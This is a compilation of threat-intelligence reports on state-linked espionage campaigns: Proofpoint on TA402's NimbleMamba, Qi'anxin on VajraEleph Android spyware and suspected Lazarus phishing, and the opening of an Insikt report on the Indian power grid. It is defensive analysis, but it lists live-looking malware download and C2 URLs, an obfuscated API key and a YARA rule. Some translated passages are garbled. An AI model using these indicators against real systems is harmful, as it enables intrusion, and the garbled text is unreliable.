+Figure 5. Example of JustePasteIt paste content.
+The data taken from the paste service is split by 
+ and then each split by 
+ to form the
+following two key-value pairs.
+Value
+ACSS
+IFK641c5_RQj32p_HvJF14U3eu3iQIl1vYncq-5g4aMKQAAAAAAAAAAQ6MoiJpHT88KFIEQQ2SH5
+OOOO
+40,1ckZnB3a45mMpRTTYplNiNmZ
+ACSS contains the obfuscated Dropbox account API auth key that is used for C2
+communication. The malware then takes the external IP address, username and computer
+name retrieved earlier, writes them as comma-separated strings, base64 encodes them with
+stripped padding bytes and then reverses the string. The resulting string is used as a folder
+name that is created on the Dropbox account using their API with the API key deobfuscated
+(Figure 6) from the JustPasteIt post.
+9/15
+Figure 6. Dropbox API key deobfuscation.
+From there, the malware starts communicating with Dropbox to obtain a RAR file and a
+decoy file that is immediately displayed to the user if present. The decoy file is often an office
+document or PDF. The RAR file is password-protected with a password stored as the second
+comma-separated value in the OOOO argument from the JustPasteIt paste and dropped to
+the folder pointed by the first parameter in OOOO. The downloaded RAR file contains two
+additional executables, an updated sample of NimbleMamba along with an executable that
+contains a screenshot of the functionality. This technique allows for TA402 to serve
+additional payloads to targeted NimbleMamba victims.
+Pivoting on the JustPasteIt user 
+Nefaty Benet
+ (Researcher Note: This account is likely
+meant to impersonate the Israeli Prime Minister Naftali Bennett) allows us to see that the
+NimbleMamba campaign likely started in August 2021, two months after Proofpoint
+previous research. This timeframe is consistent with the compile dates of the NimbleMamba
+samples identified in VirusTotal.
+10/15
+Figure 7. Pivot to all pastes created by user 
+Nefaty Benet.
+Functionality
+NimbleMamba has the traditional capabilities of an intelligence-gathering trojan and is likely
+designed to be the initial access. Functionalities include capturing screenshots and obtaining
+process information from the computer. Additionally, it can detect user interaction, such as
+looking for mouse movement.
+BrittleBush Trojan
+Later versions of the RAR files that deliver NimbleMamba also included a small trojan
+application Proofpoint dubbed BrittleBush
+(2E4671C517040CBD66A1BE0F04FB8F2AF7064FEF2B5EE5E33D1F9D347E4C419F). This
+trojan communicated with easyuploadservice[.]com and received commands as base64
+encoded JSON structure.
+11/15
+Figure 8. BrittleBush JSON structure.
+Attribution
+Proofpoint attributes the campaigns to TA402 based on both technical indicators and
+victimology. The observed attack chains mimic historical TA402 campaigns, some of which
+are discussed in Proofpoint
+s June 2021 research. The phishing campaigns share thematic
+elements with historical Molerats campaigns. For example, the December 2021 campaign
+contained a title bearing significant similarities to a 2015 TA402 campaign reported
+by Kaspersky.
+Campaign
+Arabic Title
+Translation
+2015
+Kaspersky
+Campaign
+.exe
+Leaked conversation with the Egyptian
+leader of military forces Sodqi Sobhi[.]exe
+December
+2021
+Campaign
+Secret meeting between bin Salman and
+Erdogan in Qatar
+The campaigns observed by Proofpoint likely occurred concurrently to Zscaler
+s recently
+published research on Molerats activity targeting individuals in Palestine & Turkey and
+demonstrate Molerats continued ability to modify their attack chain based on their
+intelligence targets.
+The significant technical connections between the DropBox accounts used by the LastConn
+malware, the account used to deploy NimbleMamba, and the account used to store
+intelligence exfiltrated by NimbleMamba indicate that LastConn and NimbleMamba are
+almost certainly deployed by the same operators. This was based on the findings found
+during the investigation performed by Dropbox Security Team, which neutralized all the
+associated accounts.
+12/15
+Technical intelligence, including analysis of Molerats network activity from TeamCymru,
+indicates NimbleMamba developers operate in the interest of the Palestinian Territories. The
+guardrails employed by NimbleMamba demonstrate a clear focus on targeting Arabic
+speakers along with computers in the Middle East. Proofpoint observed campaigns targeting
+Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline.
+Proofpoint assesses TA402 likely operates in support of Palestinian objectives, which is
+consistent with prior Proofpoint and the broader industry
+s previously published
+assessments.
+Conclusion
+TA402 continues to be an effective threat actor that demonstrates its persistence with its
+highly targeted campaigns focused on the Middle East. Based on the variations between
+campaigns delivering NimbleMamba, along with the historical pattern of developing new
+malware post disclosure, Proofpoint judges with moderate confidence that TA402 will
+continue to update both their implants and infection chains to complicate defensive efforts.
+Indicators of Compromise (IOCs)
+Type
+430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44
+SHA256
+c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d
+SHA256
+uggboots4sale[.]com
+Domain
+925aff03ab009c8e7935cfa389fc7a34482184cc310a8d8f88a25d9a89711e86
+SHA256
+13/15
+easyuploadservice[.]com
+Domain
+2e4671c517040cbd66a1be0f04fb8f2af7064fef2b5ee5e33d1f9d347e4c419f
+SHA256
+ET Signatures
+2035112 TA402/Molerats CnC Checkin
+2035113 TA402/Molerats Payload Downloaded
+2035120 TA402/Molerats CnC Activity
+2035121 TA402/Molerats External IP Lookup Activity
+2035122 TA402/Molerats Related Malware Domain in DNS Lookup
+2035123 TA402/Molerats Related Malware Domain in DNS Lookup
+YARA Signatures
+rule Proofpoint_Molerats_TA402_NimbleMamba {
+meta:
+description = "Detects .NET written NimbleMamba malware used by TA402/Molereats"
+author = "Proofpoint Threat Research"
+disclaimer = "Yara signature created for hunting purposes - not quality controlled within
+enterprise environment"
+hash1 = "430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44"
+hash2 = "c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d"
+strings:
+$dotnet = "#Strings" ascii
+$dropbox = "dropboxapi.com" ascii wide
+$justpaste = "justpaste.it" wide
+$ip_1 = "api.ipstack.com" wide
+14/15
+$ip_2 = "myexternalip.com" wide
+$ip_3 = "ip-api.com" wide
+$ip_4 = "api.ipify.com" wide
+$vm_1 = "VMware|VIRTUAL|A M I|Xen" wide
+$vm_2 = "Microsoft|VMWare|Virtual" wide
+condition:
+uint16be(0) == 0x4D5A and $dotnet and $dropbox and $justpaste and any of ($ip_*)
+and any of ($vm_*)
+Subscribe to the Proofpoint Blog
+Select
+15/15
+VajraEleph from South Asia - Cyber espionage against Pakistani military personnel
+revealed
+mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww
+Original QAX Virus Response Centre Qi Anxin Virus Response Center 2022-03-30 12:00
+1. Summary of the event
+In February 2022 , the mobile security team of Qi'anxin Virus Response Center noticed that since June 2021 , an A _ _ _ _ _ _ _ _ _
+_ _ _ _ _ _ _ P& T organization mainly targets PakistanThe Tanzanian military has launched organized , planned and targeted
+military espionage intelligence activities . _ After just nine months of attacks , the group has affected dozens of Pakistani military
+personnel . _ This part of the victimThe personnel are mainly Pakistani national border guards ( FC ) and special forces ( SSG ) ,
+especially the Balochistan border guards ( FCBLN ) ; in addition _ _ _ _ Also contains a small amount of FBI ( FIA ) and police (
+Police ) . _ _ _ _ _ _ _ Another attack also affected a small number of Nepalese personnel , but domestic users in China were not
+affected by it .
+Figure 1.1 Distribution of affected countries _ _ _ _ _
+The organization usually uses public social platforms to find the target of concern , and combines pornographic words and other chats
+to induce the target users to install the specified bait chat attack application . Used for phishing attacks . Furthermore ,The attacker
+also published the malicious chat application on a well- known foreign app store platform , but the relevant links are now inaccessible
+As of the time of this report , all the attacks of this group that we have intercepted are carried out through the An d r oi d platform ,
+and we have not found any Via the Windows platform _ _ _ _ _attack . _ _ A total of 8 malicious application download servers have
+been captured , and at least 5 different Android platform attack samples can be downloaded on the servers . _ _ All samples were _
+_Dedicated chat software for Italian codes . We name all these captured malicious samples V a j r a Sp y . _ _ _ _
+Comprehensive analysis of the attack activity characteristics , sample coding method , C2 server architecture and other clues shows
+that the organization has a regional power in South Asia . the background of the government , but also live with the regionOther APT
+tissues that jumped , such as Sidewinder Sidewinder , Manling Flower Bitter , Belly Brainworm Donot , etc. , were not significantly
+associated _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ( Only with bellyworm D o no o t _ _There is a small amount of similarity ) , with
+strong independence and independent characteristics . Therefore , we identified this organization as a new APT organization active in
+South Asia . _ _ We named it King Kong Elephant , English _The document name is V a j r a E l e ph , and the organization number is
+A P T - Q - 4 3 . King Kong Elephant is the 15th APT organization that Qi Anxin independently discovered and first disclosed . _ _ _
+2. Load delivery _
+Through the Qi Anxin Virus Response Center mobile security team and the Qi Anxin threat intelligence platform ( h t t p s : / / t i . q i
+a n x i n . c o m / ) joint tracking analysis found that , the earliest activities of the King Kong Elephant Organization can be traced back
+to June 2021 . The picture below shows the earliest payload server information of the organization that we intercepted .
+1/11
+Figure 2.1 Screenshot of the earliest domain name payload server discovered ( using Name Sil o registrar domain name ) _ _ _ _ _ _
+In the early attacks of this group , the " short link " of the download address of the attack payload is usually sent to the target through
+social software such as WhatsApp . . Later , with the major socialTaiwan banned related links , and the organization switched to
+delivering short links to target people in the form of pictures .
+payload short chain address
+Corresponding to the actual download address
+h t t p s : / / c u t t . ly / q I r g C K o _
+https://appz.live/ichfghbtt/crazy.apk
+h t t p s : / / b i t . ly / 3 B r C x N U _
+https://appzshare.digital/coufgtdjvi/ZongChat(Beta).apk
+h t t p s : / / b i t . ly / 3 9 r o C M d _
+https://apzshare.club/poahbcyskdh/cable.apk
+https://rebrand.ly/Cable_v2
+https://appzshare.club/poahbcyskdh/cable.apk
+Table 1 Discovered short chains of payload delivery and their corresponding actual download addresses _
+The load name servers used by this organization are all registered for less than a year , and the registrars are mainly Name Sil o and
+Name Cheap . _ _ _ _ _ _ _ This is in line with another recent activity in South AsiaThe activity of the advanced attack group , the
+brainworm , is similar .
+2/11
+Figure 2. 2 part of the domain name payload server who is the situation
+3. Attack target _
+The King Kong Elephant Group has obvious intentions to steal military intelligence , mainly targeting Pakistani military personnel ,
+affecting dozens of military personnel who have been involved in several units . Here 's what we get from attacker C 2The photos and
+information of some victims' mobile phones were intercepted on the server .
+Figure 3.1 Stolen photos of Pakistan Frontier Guard ( FC , F ro n ti e r C o r p s ) personnel _ _ _
+3/11
+Figure 3.2 Stolen photos of Pakistani Balochistan Border Guard ( FC B L N , FC Balochistan ) personnel _ _ _ _ _ _ _ _ _ _ _ _ _
+Figure 3.3 Information stolen from Balochistan border guards _ _
+4/11
+Figure 3.4 Stolen photos of Pakistani special forces _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
+Figure 3.5 Stolen photos of Pakistani police _
+5/11
+Figure 3.6 Pakistani Police Stolen Information _ _
+6/11
+Figure 3.7 Pakistani Federal Bureau of Investigation ( FIA , FederalInvestigationAgency ) personnel were stolen photos _ _ _ _ _ _ _
+_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ piece
+Figure 3.8 Stolen Information on the Chief of Staff of the Army _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
+4. Technical Analysis _
+Through analysis , it is found that the attack RA T invested by the King Kong Elephant Organization is currently targeting the Android
+platform . _ Analysis shows that the organization has a high degree of R A T customization , and weNamed V a j r a Sp y . _ _ V a j r a
+Spy supports all the classic functions of espionage and stores the stolen data in a designated Google cloud storage space . _ _ _ _ _ _
+function
+Corresponding post - stealing data storage file name
+steal call logs
+logs.json
+steal address book
+contacts.json
+Steal SMS
+sms.json
+Steal 1 5 types of files in the specified directory of the SD card
+file / filename _ _ _ _ _
+Steal notification bar information
+n o t i / 1 3 -bit timestamp . j s o n
+Steal device information
+device.json
+Steal installed application information _ _ _
+appdetails.json
+Stealing three versions of WhatsApp information _ _ _ _ _ _ _
+wa.json/wab.json/wabs.json
+Table 2 V a j r a S p y R A T main stealing functions _ _
+7/11
+Figure 4.1 15 types of files ( text , pictures , audio ) related code snippets stolen _ _ _ _
+5. Attacker portrait _ _
+1 ) The purpose of the attack
+Attackers targeted Pakistani military , security and police personnel , including border guards ( FC ) , special forces ( SSG ) , federal
+investigators _ _ _ _ _ _ Bureau ( FIA ) and Police ( P _ _o l ic e ) and so on . Among them , the border guards are the main target .
+8/11
+There are also a small number of activities targeting Nepalese military personnel . It can be seen from this that military personnel and
+military secrets are thethe main purpose of the activity .
+2 ) Attack method
+Attackers are good at using social induced delivery and SMS induced delivery to attack , among which social induced delivery is the
+main method .
+3 ) Network assets
+The mobile phone numbers used by the attackers are all exclusive numbers of mobile service providers in a country in South Asia .
+4 ) Native language features
+The attackers used a large number of languages from a South Asian country in their attacks . The country has a longstanding military
+and geopolitical conflict with Pakistan . _ _
+5 ) Association with other APT organizations _ _ _
+The activity characteristics of the malicious sample download server are similar to those of the belly worm ( Donot ) . _ _ _
+Some of the filenames used in the attack have certain similarities to the bellyworm tissue . _ _
+To sum up , the King Kong Elephant Organization should be a senior executive with a government background in a South Asian
+country who mainly launched cyber attacks against Pakistani military personnel and military activities . attack group , is an active
+_New APT organization in South Asia . _ _ _
+6. Summary and Recommendations _
+In traditional APT activities , the use of mobile social platforms is not common . _ _ This is because most of the sensitive and
+confidential information is stored on the computer , and on the other hand , it is also caused byBecause of launching attacks through
+social platforms , it is easy to leave traces .
+However , in the past two years , with the increasing popularity of mobile social platforms , we have found that many A P T activities
+targeting developing countries will be more or less Via mobile platforms , social platformsto proceed . For example , the Nuo Chong
+Lion Organization , the Blade Eagle Organization and the Diamond Elephant Organization disclosed this time all target the An d r oi d
+platform and _ _ _ _ _ network of social platformsattack activity . The analysis believes that the reasons for the increasing attention
+of APT activities on mobile platforms and social platforms mainly include the following aspects :
+First of all, the level of network security construction and management in many developing countries is relatively backward , so that it
+is possible to gain access to smartphones only through attacks on smartphones . large amounts of sensitive and confidential
+information.
+Second , the popularity of smartphones is getting higher and higher . It is a low-cost , high -cost way to launch cyber attacks through
+social platforms against secret -related personnel with insufficient security awareness . Efficient attack . _ _
+Third , smartphones often have more unfixed security vulnerabilities , and the penetration rate of mobile security software is not high
+, which leads to the launch of network targeting mobile platforms . The technical threshold of attack is relatively lower.
+Then , for government and enterprise institutions , especially the military , police and other secret or sensitive institutions , how
+should they do a good job in protection , and try to avoid or reduce the targeting of immigrants as much as possible ? App for mobile
+platforms and social platforms _What is the impact of T activities on yourself ? Here we give some practical suggestions as follows .
+1 ) Work and life are separated , and sensitive information is not shared
+Agencies should strive to avoid staff using personal smartphones for routine office activities . _ _ Conditional units can distribute
+work mobile phones or confidential mobile phones to staff . _ _ If the conditions are trueIt is not allowed . You can use enterprise level secure mobile work platforms for internal communication and office work , such as Lanxin and cloud mobile phone security
+management systems .
+2 ) Strengthen safety awareness education and strictly implement safety regulations
+Relevant institutions should strengthen employee security awareness education , do not use personal mobile phones to shoot , store
+sensitive or confidential information , and do not share sensitive or confidential information through social platforms information ;
+t click on strangers
+ postsUnknown links come ; reject the temptation of illegal information such as pornography and gambling .
+At the same time , relevant agencies should also formulate practical cybersecurity management standards and employee code of
+conduct , and carry out strictSupervision and review .
+3 ) Update software system , use security software
+Relevant institutions should require employees , whether it is an office mobile phone or a personal mobile phone , to update the
+operating system and core software in a timely manner to ensure that the smart phone starts to work . Always in the best safe
+condition . sameInstall the necessary mobile phone security software at any time to reduce the damage of various Trojan horses and
+viruses as much as possible .
+4 ) Establish threat intelligence capabilities to prevent APT attacks _ _
+9/11
+Relevant institutions should work with professional security vendors to build efficient threat information collection , analysis and
+disposal capabilities , and timely detect , intercept and track various APT activities . _ move , bring APT activities to the _ _Impact
+and losses are minimized .
+At present , a full line of products based on Qi'anxin 's self - developed Owl engine and Qi'anxin Threat Intelligence Center 's threat
+intelligence data , including Qi'anxin 's threat intelligence platform ( TIP ) , Tianqing , Tianji _ _ _, Sky Eye Advanced Threat
+Detection System , Qi An Xin N G SOC , Qi An Xin Situational Awareness , etc. , have all supported the accurate detection of such
+attacks .
+Part IOC _ _
+Domain name / IP
+Purpose
+appplace.shop
+payload server
+appz.live
+payload server
+apzshare.club
+payload server
+appzshare.digital
+payload server
+appzshare.club
+payload server
+212.24.100.197
+payload server
+AndroidMD5
+package name
+7a47d859d5ee71934018433e3ab7ed5b
+c o m . cr . c ha t _ _
+0c980f475766f3a57f35d19f44b07666
+com.crazy.talk
+Appendix 1 Qi Anxin Virus Response Center
+Qi'anxin Virus Response Center is a virus identification and response professional team under Beijing Qi'anxin Technology Co.,
+Ltd. ( Qianxin Group ) , backed by the core of Qi'anxin Cloud platform , with daily tens of millionsSample detection and disposal
+capabilities , daily 100 million -level safety data correlation analysis capabilities . Combining years of anti- virus core security
+technology and operational experience , based on the Q O W L and Q D E independently developed by the group( artificial intelligence
+) engine , forming cross- platform Trojan virus and vulnerability detection and repair capabilities , and has powerful big data analysis
+and realization of full platform security . Full protection and early warning capabilities .
+Qi'anxin Virus Response Center is responsible for supporting the virus detection of Qi'anxin 's entire line of security products ,
+actively responding to security feedback from customers , and can provide customers with the first time Eliminate intractable diseases
+. _ Center ZengHe has dealt with major virus incidents many times and participated in the security work of major events , which has
+been highly recognized by customers , which has enhanced Qi Anxin 's brand influence in the industry .
+Appendix 2 Qi'anxin Virus Response Center Mobile Security Team _
+The mobile security team of Qi'anxin Virus Response Center has been committed to the research in the field of mobile
+security and Android security ecology . At present , Qi Anxin 's mobile security products can not only detect and kill commonIt can
+also accurately detect and kill popular software such as brushing , fraud , gambling , violations , pornography and other black products
+. _ _ _ _ _ It can effectively support traceability through its internal analysis systemAnalysis and other tracking . Through its highvalue mobile attack discovery process , it has captured a number of attack events , released a number of mobile black industry reports
+, and disclosed multiple A P T groups . weaving activities , _Two years ago , new APT organizations under the background of 4
+10/11
+countries have been disclosed for the first time ( Nuo Chong Lion Organization Si l en c e r L ion , Blade Eagle Organization B l a d e H
+aw k , Aiye Leopard Organization S _no w L e o par d and this time the Vajra Eleph ) . _ _ _ _ _ _ _ _ _ _ _ _ _ In the future , we will
+continue to be at the forefront of global mobile security research , tracking and analyzing the first timeThe latest mobile security
+incidents , in -depth exploration and tracking of domestic mobile - related black and gray products , are striving to maintain the
+network security on the mobile terminal .
+Appendix 3 Introduction of Qi'anxin Mobile Products
+Qi'anxin Mobile Terminal Security Management System ( Tianji ) is aimed at customers in public security , justice ,
+government , finance , operators , energy , manufacturing and other industries . Terminal control and strong terminal security
+features _A unique mobile terminal security management product . The product is based on Qi Anxin 's security technology
+accumulation and operation experience on massive mobile terminals , from hardware , OS , application , data to link and other multi levelSecurity protection solutions to ensure the security of enterprise data and applications in mobile terminals .
+Qi'anxin Mobile Situational Awareness System is a mobile situational awareness management product jointly launched by
+Qi'anxin Security Supervision BG Situational Awareness First Division and its partner Qi'anxin Virus Response Center Mobile Team.
+Different from traditional mobile security vendors, which focus on APP production and release, and provide customers with APP
+reinforcement, detection, analysis, etc.; mobile situational awareness is oriented to customers with regulatory responsibilities,
+focusing more on APP download and use, and find out the scope of the jurisdiction. The use of APP provides customers with functions
+such as APP illegal detection, compliance analysis, and traceability.
+11/11
+Snow Abuse: Analysis of the Suspected Lazarus Attack
+Activities against South Korean Companies
+Original
+red raindrops team qianxin threat intelligence center 2022-04-11 00:27
+included in the collection
+ 8 #APT 59 #Lazarus 4
+overview
+Spear phishing attacks have long been one of the most convenient ways to get
+into an enterprise network . Spear phishing attacks are often used against large
+corporations, banks, or influencers, and most commonly target high-level employees
+who have access to rich information, or employees in departments that need to open
+a lot of foreign documents at work . Generally speaking, attack files are macro code
+written in Microsoft Word or JavaScript code, which are ver y small, have no
+superfluous programs built into the files, and whose sole purpose is to download
+more destructive malware on the target object's computer. Once downloaded,
+malware spreads further through the targeted network or is only used to steal all
+available information, helping attackers find targets in the network .
+recently, the red raindrop team of the qianxin threat intelligence center has
+captured a large number of spear phishing attack samples against south korean
+companies in the daily threat hunt. it is infected through a vulnerable document or
+chm file, and distinguishes the number of bits of the current operating system, and
+executes macro code corresponding to the number of bits of the system to achieve
+the best attack effect. after research, the characteristics of this attack are as follows:
+1. THE INITIAL INFECTED DOCUMENTS ARE DOWNLOADED FOR SUBSEQUENT
+EXECUTION USING CVE-2017-0199 REMOTE CODE EXECUTION VULNERABILITY;
+2. The subsequent attack uses the UAC Bypass technology of the local RPC
+interface to elevate the privilege;
+3. subsequent load packing interference analysis and use simple means to detect
+whether it is in the sandbox;
+sample analysis
+0x01 decoy file
+The attack sample captured this time is a docx file, all of which use the Microsoft
+Office/WordPad remote code execution vulnerability, its vulnerability number is CVE2017-0199, and the decoy analysis of the related samples is as follows:
+the bait file induces the victim to click "enable content" in a number of ways. for
+example, 
+ .docx (emergency disaster assistance request form)
+induces users to click on enable content by displaying garbled file content.
+The bait file 
+) .docx (Daehan Mine Development Shares) shows that
+the document was produced by Windows 11, inducing the victim to click on the
+enabled content.
+or fake microsoft's error message, the same purpose is to induce users to click to
+enable content.
+0x02 malicious macro
+Here, take 
+ .docx (notification) as an example, click on the execution bait fil
+e, access the remote template http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/p
+olice0?mid=h1o5cYfJ download execution, and the file downloaded and executed is a
+s follows.
+The macro code embedded in the file first downloads the attached payload
+(32Bit/64Bit) from the outside:
+mount page for payload:
+the payload is then decr ypted and injected into the winword .exe process.
+0x03 injected code
+the injected code is first anti-sandboxed in the main function.
+At the same time, it will detect whether the currently running process contains v3l
+4sp .exe, and if so, exit the program. v3l4sp .exe a subroutine of south Korean AhnLa
+b's free antivirus software V3 Lite, indicating that the target of this attack is not for in
+dividual users in South Korea.
+Subsequently, the error .log is released in the %AppData%Local\Microsoft\TokenB
+roker director y, and "s/o2ldz9l95itdj2e/error.txt?dl=0", and the Release RuntimeBroke
+r .exe is decr ypted in the same director y.
+The UAC Bypass technology of the native RPC interface is then used to perform
+the RuntimeBroker .exe.
+finally, it is persisted through the registr y startup key.
+0x04 RuntimeBroker.exe
+RuntimeBroker .exe interfered with the researchers' analysis by adding a UPX shel
+l, and after dehulling, it was found that it also detected the sandbox in the main func
+tion, and also detected whether the currently running process contained v3l4sp.exe a
+nd AYAgent.aye. AYAgent.aye is part of ALYac, south Korea's Internet security suite, es
+tsoft.
+Verify whether the currently running program path is a RuntimeBroker .exe in the
+%AppData%Local\Microsoft\TokenBroker director y, or delete itself if it is not, which is
+to evade dynamic detection of the sandbox.
+It is then added to windows Defender's exclusion list using the PowerShell
+command.
+Read the contents of the released error .log file and stitch it together with the
+URL dl.dropboxusercontent.com of the cloud ser ver Dropbox, so that it acts as an
+intermediar y to pass the C2 information.
+The user information is then uploaded to the hxxp://naveicoipg.online/post2.php
+in the specified format "uid=%s&avtype=%d&avtype=%d&major v=%d", where the va
+lue of avtype is 1 when no soft kill is specified, 2 when v3l4sp .exe is present, and 3 w
+hen AYAgent.aye is present.
+Subsequent visits naveicoipg.online's "/fecommand.acm" page to get the payload,
+where uid is the victim ID of the previous callback C2.
+the obtained instruction content calls the function sub_401410 executed, and the
+malware maintains an array of structs of size 100 to record the executed instructions.
+If the instruction has not been executed before, the calling function sub_401280
+download the corresponding subsequent payload from C2, download the subsequent
+URL format is "/< instruction name >", and the obtained content will be executed as
+a PE file.
+unfortunately, subsequent content is not available as of the time of analysis.
+traceability and correlation
+By searching the database for the keyword "fecommand.acm", we discovered
+another way to spread attack samples, distributed by using CHM files.
+The retrieved chmext .exe malicious program whose parent file is a CHM file.
+the short link in the bait chm file was redirected to the actual website of the
+korean centers for disease control and prevention, which echoed the bait file name,
+making it easier for the victim to get caught.
+After comparison, the chmext .exe is basically the same as the above injected cod
+e, only C2 is different, chmext .exe C2 is naveicoipc.tech.
+IN THE PROCESS OF CONTINUING TO TRACE THE SOURCE, WE ALSO FOUND
+PHISHING EMAILS THAT IMPERSONATED THE KOREAN INTERNET INFORMATION
+CENTER. COMBINED WITH VARIOUS INDICATIONS, WE SUSPECT THAT THIS ATTACK IS
+FROM THE HANDS OF THE APT ORGANIZATION, ITS ATTACK TARGET IS NOT AN
+INDIVIDUAL
+ORDINARY
+USER,
+ATTACK
+METHODS
+COMPLEX
+CHANGEABLE, ITS FOLLOW-UP REAL PAYLOAD IS RELATIVELY HIDDEN, AND THE
+NUMBER OF ATTACK SAMPLES IS LARGE, AND WE HAVE CAPTURED A LARGE NUMBER
+OF ATTACK SAMPLES IN A SHORT PERIOD OF TIME.
+Combing through the APT organization targeting South Korea, we found that this
+attack is suspected to be from the APT organization Lazarus, as early as a few years a
+go, the Lazarus organization was good at using the cloud ser ver Dropbox to carr y out
+the attack , followed by the Februar y malwarebytes labs disclosed Lazarus's report [1] ,
+Lazarus also created the RuntimeBroker process in the attack process.
+Coincidentally, in the process of tracing the origin of C2, we found that as early a
+s March 25, the foreign security company Rewterz made an early warning of the navei
+coipc.tech domain name [2] , and the URL link in its warning was basically consistent w
+ith the sample link we captured earlier.
+summary
+as of the end of the draft, there are still new attack samples being discovered, whi
+ch is worth our vigilance!
+PHISHING EMAILS HAVE ALWAYS BEEN ONE OF THE IMPORTANT MEANS OF ATTA
+CKS BY APT ORGANIZATIONS, AND MOST USERS ARE NOT SECURITY-CONSCIOUS AN
+D ARE EASILY CONFUSED BY SPOOFED EMAILS, DISGUISED DOCUMENTS, AND DECEP
+TIVE HEADERS. THE QIANXIN RED RAINDROP TEAM REMINDS USERS TO BEWARE OF
+PHISHING ATTACKS, NEVER OPEN LINKS OF UNKNOWN ORIGIN SHARED ON SOCIAL
+MEDIA , DO NOT CLICK ON EMAIL ATTACHMENTS THAT EXECUTE UNKNOWN SOURCE
+S, DO NOT RUN UNKNOWN FILES WITH EXAGGERATED TITLES, AND DO NOT INSTALL
+APPS FROM IRREGULAR SOURCES. BACK UP IMPORTANT FILES IN A TIMELY MANNER,
+UPDATE AND INSTALL PATCHES.
+If you need to run, install an application of unknown origin, you can first use the
+Qianxin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.co
+m/sandbox/page) to identify. At present, it supports in-depth analysis of files in vario
+us formats, including Windows and Android platforms [3].
+AT PRESENT, THE FULL RANGE OF THREAT INTELLIGENCE DATA BASED ON THE QI
+ANXIN THREAT INTELLIGENCE CENTER, INCLUDING THE QIANXIN THREAT INTELLIGEN
+CE PLATFORM (TIP), TIANQING, TIANYAN ADVANCED THREAT DETECTION SYSTEM, QI
+ANXIN NGSOC, ANDRXIN SITUATIONAL AWARENESS, ETC., HAVE SUPPORTED THE AC
+CURATE DETECTION OF SUCH ATTACKS.
+IOCs
+44BE20C67A80AF8066F9401C5BEE43CB
+65ABAD905E80F8BC0A48E67C62E40119
+1FD8FEF169BF48CFDCF506151264128C
+7B07CD6BB6B5D4ED6A2892A738FE892B
+9AD00E513364E9F44F1B6712907CBA9B
+15A7125FE9E629122E1D1389062AF712
+749CCB545B74B8EB9DFF57FCB6A07020
+1769A818548A0B52C7BE2A0A213A9384
+9775EF6514916977D73E39A6B09029BC
+210DB61D1B11C1D233FD8A0645946074
+B587851D8A42FC8C23F638BBC2EB866B
+BDFB5071F5374F5C0A3714464B1FA5E6
+C0B24DC8F53227CE0C64439B302CA930
+619649CE3FC1682C702D9159E778F8FD
+D19DD02CF375D0D03F557556D5207061
+D47F7FCBE46369C70147A214C8189F8A
+E3FFDA448DF223B240A20DAE41E20CEF
+825730D9DD22DBAE7F2BD89131466415
+4382384FEB5AD6B574F68E431006905E
+AAD5A9F3BE23D327B9122A7F7E102443
+556ABC167348FE96ABFBF5079C3AD488
+http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/police0?mid=h1o5cYfJ
+http://twlekqnwl.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate7?
+cid=yypwjelnblw
+http://olsnvolqwe.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate5?
+cid=pqwnlqwjqg
+http://vnwoei.naveicoipg.online/ACMS/0s4AtPuk/wwwTemplate?cid=nnwoieopq
+http://jvnquetbon.naveicoipg.online/ACMS/0pxCtBMz/policeTemplate1?
+mid=ksndoqiweyp
+http://AOsM8Cts.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate8?tid=CN2xsRPI
+http://ADzJvazJ.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate1?tid=2uiSmhx2
+http://CEcOMTp3.naveicoipg.online/ACMS/0o0WQher/ttt3?qwe=v0OSWog5
+http://123fisd.naveicoipg.online/ACMS/0mFCUrPf/temp04060?ttuq=qcnvoiek
+http://naveicoipc.tech/ACMS/0Mogk1Cs/topAccounts?uid=3490blxl
+http://1xJOiKZd.naveicoipa.tech/ACMS/Cjtpp17D/Cjtpp17D64.acm
+http:// uzzmuqwv.naveicoipc.tech/ACMS/1uFnvppj/1uFnvppj32.acm
+http://naveicoipd.tech/ACMS/018ueCdS/blockchainTemplate
+http://bcvbert.naveicoipe.tech/ACMS/01AweT9Z/01AweT9Z64.acm
+http://xjowihgnxcvb.naveicoipf.online/ACMS/07RRwr wK/07RRwr wK64.acm
+reference links
+[1]. https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarusapt-leverages-windows-update-client-github-in-latest-campaign/
+[2]. https://www.rewterz.com/rewterz-news/rewterz-threat-alert-lazarus-apt-group-io
+cs-6
+[3]. https://ti.qianxin.com/portal
+Click to read the original ar ticle to ALPHA 5.0
+instantly assist in threat research
+Included in the collection #APT 59
+previous
+Lazarus Arsenal Update: Andariel Recent
+Attack Sample Analysis
+next
+analysis of the recent attack activities of
+the "blind eagle" in forging judicial bans
+Modified on 2022-04-11
+Read more
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+21CTO
+THREAT
+ANALYSIS
+By Insikt Group
+CHINA
+Continued Targeting of
+Indian Power Grid Assets by
+Chinese State-Sponsored
+Activity Group
+April 6, 2022
+THREAT ANALYSIS | CHINA
+Despite a partial troop disengagement between India and
+China from February 2021, the prolonged targeting of Indian
+critical infrastructure continues to raise concerns over prepositioning activity being conducted by Chinese adversaries.
+While this latest activity displays targeting and capability
+consistencies with previously identified RedEcho activity,
+there are also some notable distinctions. At this time, we have
+not identified technical evidence allowing us to attribute it to
+RedEcho, and we are currently clustering this latest activity
+under the temporary group name Threat Activity Group 38 (TAGThis report details a campaign conducted by a likely Chinese state-sponsored 38) 1.
+threat activity group targeting the Indian power sector. The activity was identified
+through a combination of large-scale automated network traffic analytics and
+expert analysis. Data sources include the Recorded Future Platform, SecurityTrails,
